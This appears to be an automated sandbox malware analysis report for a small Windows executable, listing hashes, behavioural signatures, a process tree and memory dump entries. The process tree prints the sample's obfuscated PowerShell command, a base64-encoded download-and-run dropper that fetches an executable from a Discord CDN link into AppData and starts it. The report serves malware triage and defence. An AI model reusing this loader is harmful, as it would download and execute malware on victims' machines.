Analysis
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max time kernel
44s -
max time network
49s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
03-12-2022 23:07
Static task
static1
Behavioral task
behavioral1
Sample
hjasgfhjasgdas.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
hjasgfhjasgdas.exe
Resource
win10v2004-20221111-en
General
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Target
hjasgfhjasgdas.exe
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Size
6KB
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MD5
378deda0d1313deba917adfc74173962
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SHA1
cb466cdd64949febdaaae75625d5a3ce0fff6e35
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SHA256
d34483a5c472119c4edbbf630522a41a9c43ba39bd58b040f5c1eb5e0d76e5a9
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SHA512
c1411ed00aeb88b6f92702132d20dac2efacd90e79aee697e1e0431353638353a5f9fa6b575676e0426f1434cede0f59e58559822cc45067893a30f6b8300281
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SSDEEP
96:Ck79rll3VI2St01vk+Al5tONtUqvkC4muMs6d3oj0dirl:J9r/33SCvkRgNtUqvkBmm6dNdq
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 4 1868 powershell.exe 5 1868 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 1868 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1868 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
hjasgfhjasgdas.exedescription pid process target process PID 1368 wrote to memory of 1868 1368 hjasgfhjasgdas.exe powershell.exe PID 1368 wrote to memory of 1868 1368 hjasgfhjasgdas.exe powershell.exe PID 1368 wrote to memory of 1868 1368 hjasgfhjasgdas.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe"C:\Users\Admin\AppData\Local\Temp\hjasgfhjasgdas.exe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHIAeQB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAZABuAC4AZABpAHMAYwBvAHIAZABhAHAAcAAuAGMAbwBtAC8AYQB0AHQAYQBjAGgAbQBlAG4AdABzAC8AMQAwADQAMgA0ADcANwA0ADEANwA2ADYAOAA4ADAAOAA3ADgANQAvADEAMAA0ADIANAA3ADcANQAwADYANAA4ADMAMQA5ADUAOQA2ADQALwBwAGwAbABtAG0AZABpAGkAcABtAC4AZQB4AGUAJwAsACAAPAAjAGwAdgBkACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdABqAHcAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAawBlAGEAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAZABzAGYAZgBlADQAdgBiADUALgBlAHgAZQAnACkAKQA8ACMAZQB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYgByAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGcAcQB1ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAGQAcwBmAGYAZQA0AHYAYgA1AC4AZQB4AGUAJwApADwAIwByAHMAawAjAD4A"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1368-54-0x00000000002D0000-0x00000000002D8000-memory.dmpFilesize
32KB
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memory/1368-55-0x000007FEFBB51000-0x000007FEFBB53000-memory.dmpFilesize
8KB
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memory/1868-56-0x0000000000000000-mapping.dmp
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memory/1868-58-0x000007FEF3740000-0x000007FEF4163000-memory.dmpFilesize
10.1MB
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memory/1868-59-0x000007FEF2BE0000-0x000007FEF373D000-memory.dmpFilesize
11.4MB
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memory/1868-60-0x00000000025B4000-0x00000000025B7000-memory.dmpFilesize
12KB
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memory/1868-61-0x00000000025BB000-0x00000000025DA000-memory.dmpFilesize
124KB
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memory/1868-63-0x00000000025BB000-0x00000000025DA000-memory.dmpFilesize
124KB
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memory/1868-62-0x00000000025B4000-0x00000000025B7000-memory.dmpFilesize
12KB